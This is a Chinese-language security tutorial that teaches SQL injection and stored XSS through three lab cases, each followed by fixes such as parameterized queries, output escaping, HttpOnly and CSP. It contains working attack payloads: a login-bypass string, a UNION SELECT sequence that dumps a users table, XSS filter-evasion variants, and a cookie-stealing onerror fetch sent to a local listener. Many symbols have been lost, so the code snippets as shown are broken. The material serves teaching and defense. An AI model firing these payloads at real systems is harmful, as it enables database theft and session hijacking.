SQL注入与XSS攻击实战案例解析:从漏洞原理到安全防护

发布时间:2026/10/18 10:37:37

SQL注入与XSS攻击实战案例解析:从漏洞原理到安全防护 1. 从三个事故现场说起SQL 注入和 XSS 到底怎么“钻”进来的先讲个我实际参与过的场景。某次给一个内部系统做安全巡检开发同学信誓旦旦地说代码用了框架、都是 ORM应该没问题。结果我用一个单引号就把后台登录页打穿了前后没超过十分钟。那个系统的用户表里躺着一万多个真实账号。还有一次是某个带评论功能的小站点一条看似无害的留言让管理员每次打开后台都把自己会话的 Cookie 打了出去。这两个坑分别就是今天要讲的 SQL 注入和 XSS。安全圈里这两个词几乎永远并列出现因为它们常年盘踞在各类漏洞榜单的前排。很多新手一听“注入”“脚本攻击”就觉得高深其实拆开看逻辑很简单攻击者利用了程序对用户输入的过度信任把自己的代码或 SQL 片段“塞”进了本不该由他们控制的位置。SQL 注入钻的是“数据库查询拼字符串”的空子XSS 钻的是“前端输出用户内容不过滤”的空子。两者都是在跟输入输出打交道。这篇文章我会用三个自己复现过的案例讲清楚攻击是怎么一步步来的、为什么能成、事后该怎么修。适合的人群很明确后端开发、前端开发、运维、测试以及刚入门的安全工程师。就算你完全没接触过漏洞测试只要会看一点代码应该也能跟上。2. 动手前的准备五分钟搭一个你想怎么测都行的本地靶场2.1 别拿线上系统练手先搭靶场正规公司做安全测试必须有授权个人学习更是别碰线上系统。我最推荐的方式是本地搭一个微型应用比直接用现成靶场更能看清漏洞本质。下面这个 PHP 文件虽然糙但把 SQL 注入的根因展示得明明白白。// login.php —— 仅供本地靶场学习演示 $conn new mysqli(127.0.0.1, test_user, test_pwd, demo_db); $user $_POST[username]; $pass $_POST[password]; $sql SELECT * FROM users WHERE username $user AND password $pass; $result $conn-query($sql); if ($result $result-num_rows 0) { echo 登录成功; } else { echo 登录失败; }我自己的习惯是装一套本地环境比如 PHP 自带服务器加 MySQL再建一张只有三五个字段的 users 表字段尽量简单id、username、password。建好后你就可以随便折腾了。重点在于这个环境的数据库连接账号只给 SELECT 权限别用 root。虽然是自己玩也要养成权限最小化的习惯。2.2 三个必须先搞清的概念拼接、回显、输出第一个拼接。SQL 注入能成立是因为代码把用户输入直接拼进了查询字符串。你可以把拼 SQL 想象成写快递单收件人地址如果由用户来填填什么就印什么那“门牌号后面加一句‘顺便把门拆了’”也就会被当真。上面那段代码里$user和$pass是从 POST 来的原始字符串没有做任何转义直接塞进 SQL问题就出在这里。第二个回显。SQL 注入要拿到结果往往得看页面有没有把数据库内容“吐”出来。如果页面把查询结果显示出来攻击者就能用UNION SELECT等手法把别表数据也带出来。如果什么都不显示那就只能靠时间盲注或布尔盲注效率低很多。第三个输出。XSS 的核心在于程序是否安全地把用户提交的内容输出到 HTML 页面里。如果评论内容原封不动地放进页面攻击者的script就会被浏览器当成代码执行。这三个词理解到位后面所有案例都是围绕它们展开的。2.3 工具准备我平时手测会准备三类工具浏览器开发者工具看请求和修改参数最方便、一个本地代理抓包工具观察完整请求响应、以及数据库客户端方便查看查询结果。SQL 注入判断注入点我习惯先用最原始的单引号测试再看页面报错或行为差异确认漏洞后再用自动化工具去批量验证。新手建议把第一步手动过程走完别上来就跑扫描器。3. 案例一登录框的一个单引号绕过了整个后台3.1 先复现正常登录流程找注入点某商城系统的后台管理页面管理员登录框长得很普通就是一个用户名加一个密码框。用正确账号登录时后端执行的查询就是我们前面那段代码。我作为安全测试人员第一步不是乱砸 payload而是先看正常请求长什么样。打开浏览器开发者工具的“网络”标签提交一次错误密码的登录请求能清楚看到 POST 过去的数据是usernameadminpasswordwrongpass。拿到这个基线我开始试探在用户名框输入admin密码随便填。提交后页面直接报数据库错误从错误信息里能看到 SQL 语句断在引号那里。这个反应说明输入的单引号没有被转义被原样并进了 SQL——注入点确认。这里有个判断原则让程序报错不是目的目的是通过报错确认输入影响了 SQL 语句结构。如果输入一个引号程序行为和正常时一样那就说明输入没进 SQL 或者被过滤了。3.2 万能密码的逻辑注释掉后半句确认注入点之后构造 payload 就有方向了。目标是让WHERE条件恒为真或者干脆把密码校验那半段“废掉”。我用的第一个 payload 是用户名输入admin --密码随便填。传给后端的 SQL 变成了下面这样SELECT * FROM users WHERE username admin -- AND password wrongpass这里的--是 MySQL 的注释符它后面直到行尾的内容全部被忽略。于是数据库真正执行的判断只剩下usernameadmin密码校验那段被注释掉了。只要存在 admin 这个用户条件就成立直接登录成功。更通用一点的套路是构造恒真条件SELECT * FROM users WHERE username x OR 11 -- AND password wrongpassOR 11让整个 WHERE 条件变成恒真结果就是第一行用户被查出来。很多系统的管理员账号刚好是第一条记录所以这种 payload 常常直接打穿。我实际测试时两种都试优先用注释法因为它更稳定、不受数据里第一个用户是谁的影响。注意整个过程在本地靶场里进行我特意把登录失败和成功的页面差异做了对比确认是通过查询结果跳转的而不是写死的逻辑。如果程序在 PHP 里先判断了输入格式那注入点就不存在了。3.3 修复参数化查询把数据当数据而不是当代码修复这段代码我推荐直接用 PDO 的参数化查询$stmt $conn-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $user, $pass); $stmt-execute(); $result $stmt-get_result();原理在于参数化查询会把 SQL 语句结构提前固定用户输入只作为参数传递而不是拼接进字符串。数据库在解析时已经知道?是参数位置无论你输入什么引号、注释符都只是字符串内容不会改变查询逻辑。这就好比你把快递单的格式模板固定好地址栏再怎么写也不可能把“拆门”变成快递公司的一个标准动作。除了参数化登录接口还需要做几件事数据库账号用最小权限、密码字段存的是哈希值、登录失败有统一提示不暴露 SQL 错误。很多时候开发只补了参数化却忘了关闭数据库错误信息的直接显示这会导致即使查不进数据攻击者也能从报错里拿到表结构信息为下一步联合查询铺路。注意在 PHP 里如果用老掉牙的mysql_real_escape_string做转义防普通注入够用但遇到特殊字符集转换等情况仍可能绕过。与其研究怎么转义不如直接参数化。4. 案例二联合查询注入把整张表拖出来4.1 从数字参数开始探测列数是关键第二个案例来自某学校选课系统的课程列表页。页面上有个价格、热度排序的筛选功能链接形如/course/list.php?id1。这类数字型参数是 SQL 注入的高发区尤其当开发者为了方便直接拼了WHERE id . $_GET[id]。我先请求/course/list.php?id1页面报错注入点成立。接下来要判断当前查询返回几列方法是用ORDER BY一个个试id1 ORDER BY 1 id1 ORDER BY 2 id1 ORDER BY 3 id1 ORDER BY 4到ORDER BY 4时页面报错或行为异常说明查询只返回三列。之所以要探测列数是因为后面UNION SELECT要求前后查询的列数完全一致否则数据库直接报错什么都拿不到。这一步是所有联合注入的分水岭最佳策略不是猜而是从 1 开始逐个递增直到报错为止。4.2 定位回显位置把敏感数据“带到”页面上列数确定是 3 之后我发请求id1 UNION SELECT 1,2,3如果页面正常渲染就看到原本显示课程名称、价格的地方出现了数字 2 和 3说明这两个位置可以作为回显点。接下来就是把目标数据填到这些位置上。我习惯先看当前数据库有哪些表id1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase()这里的information_schema是 MySQL 内置的元数据库里面记录了所有表、字段信息。当页面把第二个字段渲染出来表名就直接展示在页面上了。找到users表之后再看看它有哪些字段id1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_nameusers最后提取数据id1 UNION SELECT 1,username,password FROM users把 username 和 password 都放到回显位置页面就会把用户表里所有账号密码哈希打印出来。整个过程下来我甚至没用到任何自动化工具单纯通过网页请求就把整张表拖了出来。这里要解释两个关键点为什么UNION SELECT能跨表拿数据因为UNION可以把两次查询结果合并输出只要列数一致、数据类型兼容。为什么用数字占位数字在 MySQL 里兼容性最好换成其他类型可能报类型错误。如果回显位置显示不了字符串我还会试NULLIF、十六进制转换等手段但那是后话。4.3 修复别只修一条 SQL要做纵深防御联合查询注入杀伤力极大因为一旦信息泄露就是整库。修复上我同样先参数化把所有动态查询改成预处理语句$stmt $conn-prepare(SELECT name, price, description FROM course WHERE id ?); $stmt-bind_param(i, $id); $stmt-execute();但对“拖库”这种攻击只修查询语句还不够。纵深防御的意思是每一层都能独立挡住攻击者。我在真实项目中要求四点数据库账号最小权限应用账号只允许访问业务表禁止访问information_schema这样即使注入成功也探不到结构。关闭错误回显display_errorsOff并自定义统一错误页避免把 SQL 片段暴露出来。输入校验数字型参数强转int字符串用参数化URL 长度和字符集也做限制。部署基本 WAF 规则对UNION SELECT、information_schema等特征做拦截至少能挡掉扫描器。有次我只修了参数化忘了处理错误回显重新测试时发现虽然注入失败但报错信息还是会把表名字段名泄露出来居然还能通过报错注入一步步摸到数据。所以说到底安全不能靠单点必须层层设防。5. 案例三一条评论偷走管理员会话5.1 从“无害留言”到弹窗存储型 XSS 的触发链路第三个案例来自某内容管理平台自带的留言板功能。它的评论提交接口很常见用户填昵称、写留言、提交后台把内容存入数据库其他用户和管理员打开页面时再显示出来。XSS 分三种反射型参数直接进页面、存储型存入数据库后展示、DOM 型前端 JS 动态改动页面。这里最危险的是存储型因为它会持续攻击每一个打开页面的访问者管理员中招概率最高。我先正常提交一条评论内容是hello然后在开发者工具里看页面结构发现评论内容被原样嵌入到div idcommenthello/div这种位置。正常提交没问题但要是我提交的不是纯文本呢接下来测试经典的弹窗载荷scriptalert(1)/script提交后打开页面浏览器直接弹窗。这说明程序把用户输入当成 HTML 原样输出了没有转义也没过滤。实际场景里我不可能真的让管理员弹窗来证明危害所以换成了窃取 Cookie 的载荷。5.2 绕过过滤的几种姿势以及窃取会话的完整链路真实系统肯定会对script做点过滤。我总结过几种常用绕过思路其中三种最典型大小写混写ScRiPtalert(1)/ScRiPt如果过滤逻辑是精确匹配小写标签就能绕过去。标签嵌套scrscriptiptalert(1)/script有些过滤是挑出script整体替换为字符嵌套会让清理结果又拼出一个可执行的标签。事件属性img srcx onerroralert(1)不依赖 script 标签图片加载失败时触发异常处理执行脚本。在本地靶场里我构造的窃取载荷长这样img srcx onerrorfetch(http://127.0.0.1:8080/steal?cdocument.cookie)它的逻辑是浏览器加载一个不存在的图片触发 onerror 事件执行一段 JS把当前页面的 Cookie 附加到请求地址后面发送出去。我在本地起一个简易日志监听服务当管理员或任何用户打开这条评论页面时日志里就会出现请求记录里面带着访问者的 Cookie 信息。如果把 Cookie 里的会话标识贴进自己的浏览器就能冒充对方登录——这就是会话劫持。但有一点我必须强调以上操作全在本地靶场环境内演示借助的是自己电脑上运行的监听服务不代表可以拿这套动作去对付任何线上站点。安全测试的边界是授权没有授权就什么都别碰。5.3 修复转义输出只是第一步关键还有 HttpOnly 和 CSP修复存储型 XSS最基础的是输出编码。在 PHP 里用htmlspecialchars可以保证用户内容在 HTML 里只被当作纯文本展示echo htmlspecialchars($comment, ENT_QUOTES, UTF-8);只要、、、被转成实体浏览器就不会把它们解析成标签。但仅做输出转义还不够我还会要求服务端同时做三件事第一加 HttpOnly 标志。在 PHP 里设置session.cookie_httponly1或者设置 Cookie 时带上HttpOnly属性这样document.cookie就读取不到会话标识XSS 即使能执行也偷不到会话。第二设置 CSP 响应头。CSP 就是在响应头里声明“本页面只能加载哪些来源的资源”比如Content-Security-Policy: default-src self执行完这条策略后即使onerror事件被触发浏览器也不会发送请求到http://127.0.0.1:8080/steal外传自然失败。对于大多数业务场景限制脚本和连接来源就能有效掐断数据外带。第三提交侧做内容校验。评论长度限制、昵称字符白名单、富文本场景使用白名单标签解析都能减少恶意载荷进入库里的机会。我个人经验是输出转义是最后一道保险输入过滤是减少噪音真正要尽早做的是 HttpOnly 和 CSP 这类浏览器层面的隔离措施。6. 常见问题与排查技巧实录从报警到修复验证6.1 安全测试和修复中的高频问题速查我在实际工作中整理过一张速查表每次收到安全报警或者做渗透复测都会对照看。现象可能原因排查方向扫描器报了注入手动测却没反应扫描器发了特殊编码页面差异被你忽略了用开发者工具复现完整请求看响应差异或延迟过滤了script还是被绕过只做了标签匹配没处理事件属性和编码检查输出编码是否统一测试 img/iframe 等替代标签加了参数化查询某些功能报错表连接或动态字段排序仍走了字符串拼接全局搜索 SQL 语句中是否有变量直接拼进查询WAF 拦截了正常业务请求规则正则过宽命中常见词如“select”结合白名单放行观察攻击日志里误报规律修复后不知道该测什么缺少回归用例建一版固定测试用例清单覆盖注入、XSS、越权三类6.2 三条最有价值的排查心得第一条不要只看页面要看完整请求链。有时候开发说“修好了”但页面表现没变化。我会开启浏览器开发者工具的断点功能一步步看请求头、参数、响应头确认是不是浏览器缓存的问题。有一次复测注入刷新十几次都没再报错后来发现是换了 CDN 节点请求根本没到达源站自然测不到。第二条从数据库日志验证 SQL 是否还拼变量。参数化查询改完后我在数据库开启通用查询日志提交一次带引号的请求看日志里记录的是不是带?的预处理语句。这个方法非常直观如果日志显示WHERE id ?说明参数化生效如果显示WHERE id 1 or 11说明还有别的地方在拼 SQL。第三条把“修复”理解成“验证闭环”。我给自己定的流程是先记录原始漏洞利用的具体请求修复后用同样请求测试确认不再生效同时换几个变种请求比如 or 11、img onerror、UNION SELECT确认没被绕过最后确认正常业务功能没被误伤。这个闭环走完我才敢在测试报告里写“已修复”。提示很多新手在修复 SQL 注入时只处理了查询入口却忘了存储过程、日志模块、导出功能里可能还有拼接点。最好的做法是全局搜索 SQL 字符串拼接符号和$_GET、$_POST、$_REQUEST的使用处逐一审查再统一参数化。7. 一点个人体会还有几句实在话测试做得多了我越来越觉得 SQL 注入和 XSS 不是“黑客技术”该背的锅它们本质上是开发过程中对数据信任边界没划清楚。代码是程序员写的漏洞也是程序员留的。安全测试员做的事情不过是在系统交付之前把那些没划清的边界一条条找出来罢了。我自己的体会是学攻击手法最有效的路径不是背 payload 列表而是亲手把一个有漏洞的小系统修好。先让它坏再让它好你才能真正理解为什么参数化能防注入、为什么输出转义能防 XSS。这也是我推荐大家搭本地靶场的原因。最后提一个小建议无论你做开发、测试还是运维都该在项目上线前问自己三个问题——用户输入到底会走到哪里数据库的查询有没有可能被改变结构页面输出的内容有没有可能被当成代码执行这三个问题想清楚大部分注入和脚本攻击类问题都能被掐死在摇篮里。
延伸阅读

更多相关文章

2026/10/18 10:32:37

Unity APK防反编译指南:混淆加固与运行时保护实战

Unity APK 被反编译这个事,做 Unity 的老哥应该都心知肚明:辛辛苦苦改了三十几个版本、优化了十几轮的原生代码,打包发出去不到一周,网上连玩法拆解都出来了,速度比自己团队迭代还快。早期做单机向 Unity 游戏的时候&a…

2026/10/18 10:32:37

h5st 3.1签名参数逆向分析与Python实现全攻略

去年年底接了一个电商联盟数据采集的需求,对方要求从某头部电商平台的联盟后台拉取订单明细与佣金报表。前半年一直跑得好好的,直到某天早上批量任务突然全部返回参数错误,登录状态还在,但接口就是不给数据。后台一查,…

2026/10/18 11:42:41

Attention-GRU结合注意力机制实现单维时序预测的实践指南

1. 项目概述1.1 核心需求解析聊到单维时序预测,很多刚接触的人第一反应就是上LSTM,仿佛LSTM成了时序问题的默认答案。但在我实际做了几个预测项目之后,发现一个很现实的规律:当数据量不大、序列长度适中,或者你需要在有…

2026/10/18 11:42:41

学习率预热Warmup Scheduler全解析:原理、实现与工程实践

第一次在训练日志里看到那种“开门黑”式的loss曲线时,我整个人是懵的:前几百步损失从2.0一路冲上8.0,然后又慢慢爬回来——不是正常的单调下降,而是先飙顶再回落。换了几组初始学习率都压不住,直到有人提醒我&#xf…

2026/10/18 11:42:41

PySimpleGUI 4.60.5免费版安装指南:pip降级与版本锁定全攻略

简介:PySimpleGUI 4.60.5免费老版本安装包及配套安装指南,面向需要绕开5.0收费限制的Python桌面应用开发者。目前pip默认安装的5.0及以上版本会提示试用30天,而这份资源提供4.60.5版本完整源码与构建产物,可自由使用,并…

2026/10/18 11:42:41

Django+Echarts招聘数据可视化实战:可运行、可扩展、可交付

简介:这是一套基于Django框架与Python后端、结合ECharts前端图表库实现的招聘数据可视化分析完整项目源码,面向Web开发初学者及数据分析入门者,解决招聘行业数据采集、清洗、存储与多维度动态展示的实际问题。资源包共165个文件,含…

2026/10/18 11:42:41

同城物流派送系统设计:SQLite轻量级全链路实现

简介:这是一套基于SQLite实现的Android同城物流派送系统完整源码,面向Android初学者与移动应用开发实践者,聚焦本地化轻量级数据库应用、用户认证流程与订单业务逻辑落地。资源包含275个文件,涵盖31个Java核心业务类、39个XML布局…

2026/10/18 11:37:40

钢表面缺陷检测数据集实操:VOC/COCO/YOLO三格式全解析

简介:YOLO钢表面缺陷检测数据集是一套面向工业视觉质检场景的目标检测训练资源,适合需要训练钢表面缺陷识别模型的开发者、研究生和工业算法工程师,能够解决真实缺陷样本难获取、标注格式不统一等痛点。压缩包共2000个文件,大小约…

2026/10/18 0:01:50

金融AI落地指南:从调研报告到技术选型与工程实践

简介:这份PDF报告聚焦2025年金融服务业中国AI现状与趋势,面向金融科技从业者、AI战略规划人员及关注行业数字化转型的研究者,帮助读者把握生成式AI在银行、支付、交易等场景中的落地路径与投资方向。资源包内含1个PDF文件,大小约1…

2026/10/18 0:01:50

金融AI落地指南:从调研报告到技术选型与工程实践

简介:这份PDF报告聚焦2025年金融服务业中国AI现状与趋势,面向金融科技从业者、AI战略规划人员及关注行业数字化转型的研究者,帮助读者把握生成式AI在银行、支付、交易等场景中的落地路径与投资方向。资源包内含1个PDF文件,大小约1…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑